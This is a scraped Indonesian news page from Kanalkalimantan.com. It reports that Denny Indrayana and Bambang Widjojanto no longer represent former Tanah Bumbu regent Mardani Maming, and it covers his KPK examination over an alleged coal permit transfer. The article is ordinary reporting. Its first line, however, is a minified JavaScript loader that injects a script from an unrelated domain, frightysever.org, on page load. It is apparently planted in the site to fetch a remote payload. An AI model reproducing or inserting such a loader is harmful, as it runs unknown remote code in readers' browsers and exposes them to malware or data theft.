(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Denny Indrayana Tak Lagi Jadi Kuasa Hukum Mardani Maming


KANALKALIMANTAN.COM, BANJARBARU – Denny Indrayana bersama Bambang Widjojanto sejak Rabu (3/8/2022) tak lagi menyandang status sebagai kuasa hukum mantan Bupati Tanah Bumbu Mardani Maming, dalam kasus di Komisi Pemberantasan Korupsi (KPK).

Hal itu disampaikan oleh kuasa hukum Mardani Maming saat ini, Abdul Qodir. Dia menyebut bahwa nama Denny Indrayana dan Bambang Widjojanto sudah tak tercantum di dalam surat kuasa.

“Sejak per hari ini, kuasa lama, surat kuasa lama itu sudah dicabut oleh Pak Mardani Maming,” kata Abdul Qodir di lobi gedung KPK, Jalan Kuningan Persada, Jakarta Selatan (3/8/2022), dilansir detikcom.

Dia menegaskan Mardani Maming hanya memiliki tim kuasa yang merupakan gabungan dari Kuasa Hukum Pengurus Besar Nahdlatul Ulama (PBNU) dan Himpunan Pengusaha Muda Indonesia (Hipmi).

 

Baca juga : Launching Program Tahfidz SMKN 3 Banjarmasin

“Per hari ini, Pak Mardani hanya akan didampingi oleh kuasa hukum dari dua organisasi, dari PBNU dan dari Hipmi. Gabungan kuasa hukum dari dua organisasi itu, tidak ada lain-lain yang di luar dua organisasi itu,” terangnya.

Dia juga sempat menjelaskan bahwa pihaknya belum memikirkan soal pengajuan kembali praperadilan. Dia mengaku pihaknya bakal terus mengikuti pemeriksaan Maming.

Abdul Qodir membenarkan Maming diperiksa hari ini terkait penyidikan perkara yang disangkakan kepada kliennya itu. Bahkan, dia mengaku sempat mendampingi Maming menjalani pemeriksaan.

“Bahwa Mardani Haji Maming, baru saja menjalani pemeriksaan ya, dalam rangka penyidikan ini,” tutur Abdul Qodir.

Baca juga : Rp 1,9 Miliar Dana Nasabah Bank Kalsel ‘Dibobol’ Modus Skimming, Ada Transaksi di Luar Kalimantan!

“Tadi saya dampingi dengan rekan saya, Irfan,” tutupnya.

Sementara menyikapi statusnya yang sudah tidak lagi menjadi pengacara Maming, Denny Indrayana membenarkan.

“Saya dan Mas BW (Bambang Widjojanto) memang sedari awal bersepakat mendampingi sampai tahap praperadilan saja. Kami doakan untuk selanjutnya perkara ini berjalan baik dan menghadirkan keadilan bagi Pak Mardani Maming. Sepanjang bukti di praperadilan, kami tetap yakin ini adalah kriminalisasi atas transaksi bisnis. Ini adalah persaingan dan pengambilalihan bisnis dengan memanfaatkan instrumen hukum,” tegasnya.

Periksa Mardani Maming

Sebelumnya, KPK memeriksa eks Bupati Tanah Bumbu Mardani Maming (MM). Ini merupakan pemeriksaan perdana Mardani Maming sebagai tersangka.

Baca juga : PKL di Bundaran Palam ‘Makan Jalan’, Satpol PP Banjarbaru Lakukan Penertiban

“Benar, hari ini (Rabu, 3/8) MM diperiksa dalam kapasitasnya sebagai tersangka,” kata Plt Juru Bicara KPK Ali Fikri kepada wartawan, Rabu (3/8/2022).

Pantauan detikcom, Rabu (3/8), di gedung KPK, Jalan Kuningan Persada, Mardani Maming tiba pada pukul 09.35 WIB. Sejumlah anggota tim kuasa hukumnya juga berada di lobi gedung KPK.

“Saat ini Tersangka sudah berada di lantai 2 gedung Merah Putih KPK dan tim penyidik segera melakukan pemeriksaan,” jelas Ali.

Namun Ali belum membeberkan soal materi pemeriksaan yang akan dijalani Maming hari ini. Dia memastikan hasil pemeriksaan bakal disampaikan secepatnya.

Baca juga : Tempuh Restorative Justice, Laka Maut Pemotor-BRT Banjarbakula Berakhir Damai

“Perkembangan materi riksa (pemeriksaan) akan disampaikan,” ungkapnya.

Berdasarkan penemuan KPK, Mardani Maming diduga melimpahkan IUP batu bara milik PT Bangun Karya Pratama Lestari kepada PT BCN. Hal ini bertentangan dengan hukum lantaran saat itu Maming menjabat Bupati Tanah Bumbu.

“Penyelidik juga menemukan fakta ada dugaan pelimpahan izin usaha pertambangan operasi produksi batu bara PT Bangun Karya Pratama Lestari kepada PT PCN yang dilakukan MM selaku Bupati Tanah Bumbu. Padahal hal tersebut bertentangan dengan UU No 4 Tahun 2009 tentang Pertambangan Mineral dan Batu Bara,” tutur Ali.

Tidak hanya itu, KPK juga menduga Maming mendirikan berbagai perusahaan yang difasilitasi dan didanai oleh PT PCN. Proses itu berlangsung setelah PT PCN beroperasi di bisnis batu bara.

Baca juga : PPM Balangan 2022-2026 Dilantik, Ini Pesan Dandim 1001

KPK menduga Maming juga melibatkan kerabat dekatnya dalam sejumlah perusahaan yang dimaksud dengan format ‘underlying’. Ali menyebut hal itu bertujuan agar memayungi aliran dana PT PCN ke perusahaan Maming dengan perkiraan senilai Rp 104,3 miliar.

“Beberapa perusahaan dimaksud sebenarnya direksi dan pemegang sahamnya masih berafiliasi dengan MM, yang kemudian dalam aktivitasnya dibungkus dalam formalisme perjanjian kerja sama ‘underlying’ guna memayungi adanya aliran uang dari direktur PT PCN melalui beberapa perusahaan yang terafiliasi dengan MM tersebut sekitar sejumlah Rp 104,3 miliar,” kata Ali. (Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

44 menit ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

1 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

2 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

5 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

6 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

17 jam ago

This website uses cookies.